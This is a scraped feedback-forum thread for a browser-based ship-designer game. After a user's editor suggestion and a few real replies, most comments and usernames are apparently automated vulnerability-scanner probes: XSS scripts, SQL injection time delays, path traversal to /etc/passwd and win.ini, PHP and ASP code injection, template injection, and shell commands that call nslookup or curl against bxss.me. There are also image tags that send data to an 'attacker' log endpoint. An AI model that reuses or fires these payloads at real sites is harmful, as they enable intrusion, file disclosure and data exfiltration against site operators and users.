Feedback

editro by critic - 155 months ago

if you could make a easier editor. each time I put a line, it attaches to a previous one, making it inpossible. also, some shapes would be nice

• Erik

  We know about this problem and will be trying to make the designer a bit more user friendly! Thanks for your feedback

• james is boss

  shot

• DevilishDB

  I agree with that

• nba king

  Yeah thats exactly what I said in my suggestion :) SHOT BRO!!

• DESTROYER OF THE WEB

  agreed thats what i said

• pumpkin_pips

  The best thing is to practice, it takes a long time to get used to, but when you do you're fine

• Swegmaster99

  Its True

• TemVyrus

  exactly! :D

• lxbfYeaa

  1

• Xnxxxxx

  Rootof

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1BaYBsppISO

• 1CdNDDR3CO

  1

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999859+9999803}

• ${9999322+10000063}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• Anonymous

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  1fQwO3EOU

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  response.write(9948967*9600222)

• WfxYANoW

  echo mhvncj$()\ ynvxtv\nz^xyu||a #' &echo mhvncj$()\ ynvxtv\nz^xyu||a #|" &echo mhvncj$()\ ynvxtv\nz^xyu||a #

• WfxYANoW

  bxss.me

• WfxYANoW

  &echo qtjitz$()\ yebiaa\nz^xyu||a #' &echo qtjitz$()\ yebiaa\nz^xyu||a #|" &echo qtjitz$()\ yebiaa\nz^xyu||a #

• WfxYANoW

  '+response.write(9948967*9600222)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1&echo yyiawe$()\ qfjpom\nz^xyu||a #' &echo yyiawe$()\ qfjpom\nz^xyu||a #|" &echo yyiawe$()\ qfjpom\nz^xyu||a #

• WfxYANoW

  "+response.write(9948967*9600222)+"

• WfxYANoW

  1&n927467=v963770

• WfxYANoW

  1

• WfxYANoW

  |echo zzmuww$()\ djxvet\nz^xyu||a #' |echo zzmuww$()\ djxvet\nz^xyu||a #|" |echo zzmuww$()\ djxvet\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  1|echo bbgnsb$()\ ayqgpy\nz^xyu||a #' |echo bbgnsb$()\ ayqgpy\nz^xyu||a #|" |echo bbgnsb$()\ ayqgpy\nz^xyu||a #

• WfxYANoW&n970563=v914927

  1

• WfxYANoW

  ../1

• c3BVS0VuWmo=

  1

• WfxYANoW

  gLeGC7n5

• WfxYANoW

  )

• response.write(9536827*9636462)

  1

• WfxYANoW

  (nslookup -q=cname hitfheapvewqu59942.bxss.me||curl hitfheapvewqu59942.bxss.me))

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  3oxTATtY: 17p8iwBo

• WfxYANoW

  !(()&&!|*|*|

• 7pPu2cDg

  1

• '+response.write(9536827*9636462)+'

  1

• WfxYANoW

  1

• djieATby: IO1esAql

  1

• WfxYANoW

  $(nslookup -q=cname hitszmwbzujol2ecce.bxss.me||curl hitszmwbzujol2ecce.bxss.me)

• "+response.write(9536827*9636462)+"

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  &nslookup -q=cname hitjscdamrhxpa2b8e.bxss.me&'\"`0&nslookup -q=cname hitjscdamrhxpa2b8e.bxss.me&`'

• file:///etc/passwd

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  '.gethostbyname(lc('hitqf'.'oipgahoo24371.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(69).chr(107).chr(78).'

• WfxYANoW

  '"()

• WfxYANoW

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ^(#$!@#$)(()))******

• ../WfxYANoW

  1

• WfxYANoW

  ";print(md5(31337));$a="

• /etc/shells

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  &(nslookup -q=cname hitxxhdbzjxmv40f59.bxss.me||curl hitxxhdbzjxmv40f59.bxss.me)&'\"`0&(nslookup -q=cname hitxxhdbzjxmv40f59.bxss.me||curl hitxxhdbzjxmv40f59.bxss.me)&`'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• )

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  ".gethostbyname(lc("hitps"."dqxuguce4bd8e.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(68).chr(103).chr(75)."

• WfxYANoW

  |(nslookup -q=cname hitqtbamcumlgaac9b.bxss.me||curl hitqtbamcumlgaac9b.bxss.me)

• !(()&&!|*|*|

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  gethostbyname(lc('hitnf'.'zlzpgfcw339d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(67).chr(105).chr(89)

• WfxYANoW

  1'&&sleep(27*1000)*ceibal&&'

• WfxYANoW

  `(nslookup -q=cname hitcsodicuaai7a0f0.bxss.me||curl hitcsodicuaai7a0f0.bxss.me)`

• WfxYANoW

  ;(nslookup -q=cname hitvafrzlvqgef38f4.bxss.me||curl hitvafrzlvqgef38f4.bxss.me)|(nslookup -q=cname hitvafrzlvqgef38f4.bxss.me||curl hitvafrzlvqgef38f4.bxss.me)&(nslookup -q=cname hitvafrzlvqgef38f4.bxss.me||curl hitvafrzlvqgef38f4.bxss.me)

• WfxYANoW

  1"&&sleep(27*1000)*pxjmjn&&"

• ^(#$!@#$)(()))******

  1

• c:/windows/win.ini

  1

• WfxYANoW

  '"

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1'||sleep(27*1000)*siljco||'

• WfxYANoW

  <!--

• ';print(md5(31337));$a='

  1

• xfs.bxss.me

  1

• ";print(md5(31337));$a="

  1

• '"

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitsleskuiztpde4cd.bxss.me||curl${IFS}hitsleskuiztpde4cd.bxss.me)

• ${@print(md5(31337))}

  1

• WfxYANoW

  1"||sleep(27*1000)*ojaqzh||"

• WfxYANoW

  1'"()&%<zzz><ScRiPt >qL7I(9058)</ScRiPt>

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitpuqlbpxhkm7a0f3.bxss.me||curl${IFS}hitpuqlbpxhkm7a0f3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpuqlbpxhkm7a0f3.bxss.me||curl${IFS}hitpuqlbpxhkm7a0f3.bxss.me)&`'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• bxss.me

  1

• ${@print(md5(31337))}\

  1

• <!--

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(118).concat(82).concat(114).concat(67)+(require"socket" Socket.gethostbyname("hitxi"+"oygtacvj18a21.bxss.me.")[3].to_s)+"

• HttP://bxss.me/t/xss.html?%00

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(97).concat(70).concat(101).concat(73)+(require'socket' Socket.gethostbyname('hitjx'+'fkepqkvp25bc9.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment

• WfxYANoW

  '"()&%<zzz><ScRiPt >qL7I(9470)</ScRiPt>

• '"()

  1

• WfxYANoW

  comment/.

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(119).concat(66).concat(104).concat(73)+(require'socket' Socket.gethostbyname('hiteo'+'jeubwjxh59f63.bxss.me.')[3].to_s)

• WfxYANoW

  19268327

• WfxYANoW'&&sleep(27*1000)*mciunk&&'

  1

• comment

  1

• WfxYANoW

  bfg2577＜s1﹥s2ʺs3ʹhjl2577

• comment

  1

• WfxYANoW"&&sleep(27*1000)*pwxioe&&"

  1

• comment/.

  1

• WfxYANoW'||sleep(27*1000)*sfches||'

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  -1 OR 2+615-615-1=0+0+0+1 --

• WfxYANoW"||sleep(27*1000)*jpkuhl||"

  1

• WfxYANoW

  -1 OR 2+359-359-1=0+0+0+1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  -1' OR 2+33-33-1=0+0+0+1 --

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  -1' OR 2+35-35-1=0+0+0+1 or 'lIPn3YpK'='

• WfxYANoW

  -1" OR 2+51-51-1=0+0+0+1 --

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >qL7I(9957)</ScRiPt>

• WfxYANoW

  1<WZI9XV>8SGUR[!+!]</WZI9XV>

• WfxYANoW

  1<script>qL7I(9489)</script>

• WfxYANoW

  1<script>qL7I(9736)</script>9736

• WfxYANoW

  1<ScR<ScRiPt>IpT>qL7I(9585)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >qL7I(9681)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9171></ScRiPt>

• WfxYANoW

  1<ScRiPt >qL7I(9179)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=qL7I(9676)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9792'>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<body onload=qL7I(9658)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=qL7I(9820)>

• WfxYANoW

  1<img src=xyz OnErRor=qL7I(9274)>

• WfxYANoW

  1<img/src=">" onerror=alert(9775)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%71%4C%37%49%289391%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\qL7I(9930)\u003C/sCripT\u003E

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW

  1&lt;ScRiPt&gt;qL7I(9010)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=qL7I(9378)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(qL7I(9718))}

• WfxYANoW

  10w2Kc <ScRiPt >qL7I(9514)</ScRiPt>

• WfxYANoW

  1<WAWW3J>Q0JRG[!+!]</WAWW3J>

• WfxYANoW

  1<ifRAme sRc=9350.com></IfRamE>

• WfxYANoW

  1<akJ9tE6 x=9261>

• WfxYANoW

  1<img sRc='http://attacker-9510/log.php?

• WfxYANoW

  1<a4KoYYA<

• WfxYANoW'"()&%<zzz><ScRiPt >qL7I(9737)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >qL7I(9619)</ScRiPt>

  1

• WfxYANoW9146201

  1

• bfg9514＜s1﹥s2ʺs3ʹhjl9514

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >qL7I(9518)</ScRiPt>

  1

• WfxYANoW<W4ZDTG>BMQZS[!+!]</W4ZDTG>

  1

• WfxYANoW<script>qL7I(9336)</script>

  1

• WfxYANoW<script>qL7I(9010)</script>9010

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<ScRiPt >qL7I(9227)</ScRiPt>

  1

• WfxYANoW<ScRiPt >qL7I(9990)</ScRiPt>

  1

• WfxYANoW<body onload=qL7I(9242)>

  1

• WfxYANoW<img src=xyz OnErRor=qL7I(9248)>

  1

• WfxYANoW<img/src=">" onerror=alert(9635)>

  1

• WfxYANoW\u003CScRiPt\qL7I(9875)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;qL7I(9077)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=qL7I(9107)>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(qL7I(9520))}

  1

• WfxYANoWyj4fP <ScRiPt >qL7I(9287)</ScRiPt>

  1

• WfxYANoW<W6CVBW>AM84E[!+!]</W6CVBW>

  1

• WfxYANoW<ifRAme sRc=9866.com></IfRamE>

  1

• WfxYANoW<a71ZfHl x=9480>

  1

• WfxYANoW<img sRc='http://attacker-9399/log.php?

  1

• WfxYANoW<aJdB9gM<

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1kozXSMHK'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 901=(SELECT 901 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 727=(SELECT 727 FROM PG_SLEEP(15))--

• WfxYANoW

  1YZotu5o1' OR 803=(SELECT 803 FROM PG_SLEEP(15))--

• WfxYANoW

  1lylccY2K') OR 217=(SELECT 217 FROM PG_SLEEP(15))--

• WfxYANoW

  1C9L87X4d')) OR 158=(SELECT 158 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@FbZyu

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWiRZDs04t

  1

• WfxYANoW

  1

• -1 OR 2+933-933-1=0+0+0+1 --

  1

• -1 OR 2+413-413-1=0+0+0+1

  1

• -1' OR 2+914-914-1=0+0+0+1 --

  1

• -1' OR 2+406-406-1=0+0+0+1 or 'DaiTiqR8'='

  1

• -1" OR 2+186-186-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWLE5fLG8O'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@moqn6

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• pstwktks

  1

• aidhmhxk

  response.write(9375308*9043089)

• aidhmhxk

  '+response.write(9375308*9043089)+'

• aidhmhxk

  "+response.write(9375308*9043089)+"

• response.write(9247811*9855798)

  1

• '+response.write(9247811*9855798)+'

  1

• "+response.write(9247811*9855798)+"

  1

• popfgtcx

  1

• popfgtcx

  1

• popfgtcx

  agRwhnYY

• popfgtcx

  -1 OR 2+892-892-1=0+0+0+1 --

• mrkbdwoq

  set|set&set

• popfgtcx

  -1 OR 2+713-713-1=0+0+0+1

• mrkbdwoq

  $(nslookup bWal6uTi)

• popfgtcx

  -1' OR 2+965-965-1=0+0+0+1 --

• mrkbdwoq

  &nslookup UA6OCbhx&'\"`0&nslookup UA6OCbhx&`'

• set|set&set

  1

• $(nslookup o0ZOtCMk)

  1

• popfgtcx

  -1' OR 2+95-95-1=0+0+0+1 or 'nPQo2KiE'='

• &nslookup 8MrA1Wk6&'\"`0&nslookup 8MrA1Wk6&`'

  1

• popfgtcx

  -1" OR 2+781-781-1=0+0+0+1 --

• ubuhahbx

  9jok8qOn

• popfgtcx

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• agbmsnht

  ../../../../../../../../../../etc/passwd

• k5fpECee

  1

• popfgtcx

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• agbmsnht

  ../../../../../../../../../../../../../../../proc/version

• nyewlomo

  1

• popfgtcx

  -1; waitfor delay '0:0:3' --

• agbmsnht

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• popfgtcx

  -1); waitfor delay '0:0:3' --

• agbmsnht

  ../../../../../../../../../../etc/passwd.jpg

• popfgtcx

  1 waitfor delay '0:0:3' --

• agbmsnht

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• popfgtcx

  4kJ6Q5vb'; waitfor delay '0:0:3' --

• agbmsnht

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• popfgtcx

  -1;select pg_sleep(3); --

• nyewlomo

  1

• agbmsnht

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• Anonymous

  1

• popfgtcx

  -1);select pg_sleep(6); --

• agbmsnht

  /etc/passwd

• popfgtcx

  -1));select pg_sleep(6); --

• agbmsnht

  %2fetc%2fpasswd

• popfgtcx

  4uR281cU';select pg_sleep(6); --

• agbmsnht

  /.././.././.././.././.././.././.././../etc/./passwd%00

• livvggjk

  ${9999626+10000341}

• popfgtcx

  JAD6XI8h');select pg_sleep(6); --

• agbmsnht

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• ${9999899+10000210}

  1

• popfgtcx

  IaMbbdS5'));select pg_sleep(6); --

• agbmsnht

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• rujctlrk

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• popfgtcx

  1

• U3lIZEo0Mkg=

  1

• rujctlrk

  1some_inexistent_file_with_long_name.jpg

• popfgtcx

  1

• apnoobls

  1&n980589=v974889

• agbmsnht

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• rujctlrk

  Http://testasp.vulnweb.com/t/fit.txt

• SMibeM7O

  1

• agbmsnht

  file:///etc/passwd

• rujctlrk

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• -1 OR 2+756-756-1=0+0+0+1 --

  1

• fbicotep&n967948=v987909

  1

• rujctlrk

  testasp.vulnweb.com

• agbmsnht

  /\../\../\../\../\../\../\../etc/passwd

• -1 OR 2+220-220-1=0+0+0+1

  1

• agbmsnht

  WEB-INF/web.xml

• -1' OR 2+326-326-1=0+0+0+1 --

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• agbmsnht

  /WEB-INF/web.xml

• dqjigsch

  )

• -1' OR 2+150-150-1=0+0+0+1 or '2abLmQoR'='

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• agbmsnht

  WEB-INF\web.xml

• dqjigsch

  !(()&&!|*|*|

• -1" OR 2+513-513-1=0+0+0+1 --

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ../../../../../../../../../../etc/passwd

  1

• dqjigsch

  ^(#$!@#$)(()))******

• testasp.vulnweb.com

  1

• )

  1

• !(()&&!|*|*|

  1

• fasecuhw

  '"()

• ^(#$!@#$)(()))******

  1

• prcolccq

  ;print(md5(acunetix_wvs_security_test));

• '"()

  1

• prcolccq

  ';print(md5(acunetix_wvs_security_test));$a='

• fdbomqdt

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• prcolccq

  ";print(md5(acunetix_wvs_security_test));$a="

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• prcolccq

  ${@print(md5(acunetix_wvs_security_test))}

• elgjxvaa

  1

• elgjxvaa

  comment

• prcolccq

  ${@print(md5(acunetix_wvs_security_test))}\

• elgjxvaa

  comment

• ;print(md5(acunetix_wvs_security_test));

  1

• elgjxvaa

  comment/.

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• elgjxvaa

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• comment

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment/.

  1

• ljodmudf

  http://hitxlig8uQ3Sd.bxss.me/

• iemdtsvu

  1

• 1 waitfor delay '0:0:12' --

  1

• http://hitwVpcqCL53s.bxss.me/

  1

• iemdtsvu

  1'"

• Eo1zPYk4'; waitfor delay '0:0:12' --

  1

• iemdtsvu

  \

• fovhpuem

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• rrsLDogz';select pg_sleep(12); --

  1

• cuL7sR1s');select pg_sleep(12); --

  1

• iemdtsvu

  @@cfHKD

• Goif2qUC'));select pg_sleep(12); --

  1

• iemdtsvu

  JyI=

• rhjqlnwd

  /www.vulnweb.com

• /www.vulnweb.com

  1

• qcaampmt

  '"

• iemdtsvu

  (select convert(int,CHAR(65)))

• ../../../../../../../../../../etc/passwd.jpg

  1

• qcaampmt

  <!--

• iemdtsvu

  1

• '"

  1

• 1'"

  1

• <!--

  1

• \

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• trowcusu

  1'"()&%<acx><ScRiPt >ZO7R(9860)</ScRiPt>

• /etc/passwd

  1

• @@Nocug

  1

• %2fetc%2fpasswd

  1

• JyI=

  1

• trowcusu

  '"()&%<acx><ScRiPt >ZO7R(9498)</ScRiPt>

• trowcusu

  1_9796

• (select convert(int,CHAR(65)))

  1

• trowcusu

  acu8977＜s1﹥s2ʺs3ʹuca8977

• trowcusu

  {{9999547*9999541}}

• trowcusu

  1<ScRiPt >ZO7R(9064)</ScRiPt>

• trowcusu

  1<WPA89N>4S9UM[!+!]</WPA89N>

• trowcusu

  1<script>ZO7R(9005)</script>

• trowcusu

  1<ScR<ScRiPt>IpT>ZO7R(9967)</sCr<ScRiPt>IpT>

• trowcusu

  1<ScRiPt >ZO7R(9360)</ScRiPt>

• trowcusu

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9310></ScRiPt>

• trowcusu

  1<ScRiPt >ZO7R(9852)</ScRiPt>

• trowcusu

  1<video><source onerror="javascript:ZO7R(9054)">

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• trowcusu

  1<isindex type=image src=1 onerror=ZO7R(9921)>

• trowcusu

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9890'>

• trowcusu

  1<body onload=ZO7R(9127)>

• trowcusu

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=ZO7R(9958)>

• trowcusu

  1<img src=xyz OnErRor=ZO7R(9209)>

• trowcusu

  1<img/src=">" onerror=alert(9022)>

• trowcusu

  %31%3C%53%63%52%69%50%74%20%3E%5A%4F%37%52%289037%29%3C%2F%73%43%72%69%70%54%3E

• trowcusu

  1\u003CScRiPt\ZO7R(9643)\u003C/sCripT\u003E

• trowcusu

  1&lt;ScRiPt&gt;ZO7R(9659)&lt;/sCripT&gt;

• trowcusu

  1<input autofocus onfocus=ZO7R(9576)>

• trowcusu

  <a HrEF=http://www.vulnweb.com></a>

• trowcusu

  <a HrEF=jaVaScRiPT:>

• trowcusu

  [url=http://www.vulnweb.com][/url]

• trowcusu

  1<img<!-- --> src=x onerror=alert(9113);//><!-- -->

• trowcusu

  1}body{acu:Expre/**/SSion(ZO7R(9570))}

• trowcusu

  1<% contenteditable onresize=ZO7R(9217)>

• trowcusu

  1_CQiao <ScRiPt >ZO7R(9601)</ScRiPt>

• trowcusu

  1<WUWUAI>URZHI[!+!]</WUWUAI>

• trowcusu

  1<ifRAme sRc=9976.com></IfRamE>

• trowcusu

  1<u2o2NW x=9563>

• trowcusu

  1<img sRc='http://attacker-9357/log.php?

• trowcusu'"()&%<acx><ScRiPt >ZO7R(9483)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >ZO7R(9809)</ScRiPt>

  1

• trowcusu_9848

  1

• acu4814＜s1﹥s2ʺs3ʹuca4814

  1

• {{9999058*9999845}}

  1

• trowcusu<ScRiPt >ZO7R(9130)</ScRiPt>

  1

• trowcusu<W7PPXZ>H5I4O[!+!]</W7PPXZ>

  1

• trowcusu<script>ZO7R(9915)</script>

  1

• trowcusu<ScRiPt >ZO7R(9300)</ScRiPt>

  1

• trowcusu<ScRiPt >ZO7R(9152)</ScRiPt>

  1

• trowcusu<body onload=ZO7R(9426)>

  1

• trowcusu<img src=xyz OnErRor=ZO7R(9653)>

  1

• trowcusu<img/src=">" onerror=alert(9265)>

  1

• trowcusu\u003CScRiPt\ZO7R(9672)\u003C/sCripT\u003E

  1

• trowcusu&lt;ScRiPt&gt;ZO7R(9974)&lt;/sCripT&gt;

  1

• trowcusu<input autofocus onfocus=ZO7R(9440)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• trowcusu}body{acu:Expre/**/SSion(ZO7R(9604))}

  1

• trowcusu<% contenteditable onresize=ZO7R(9360)>

  1

• trowcusu_4WAJK <ScRiPt >ZO7R(9206)</ScRiPt>

  1

• trowcusu<WJZEZW>I35IB[!+!]</WJZEZW>

  1

• trowcusu<ifRAme sRc=9335.com></IfRamE>

  1

• trowcusu<url4zw x=9078>

  1

• trowcusu<img sRc='http://attacker-9091/log.php?

  1

• abc123

  abc123

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  682 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  662 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  633 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

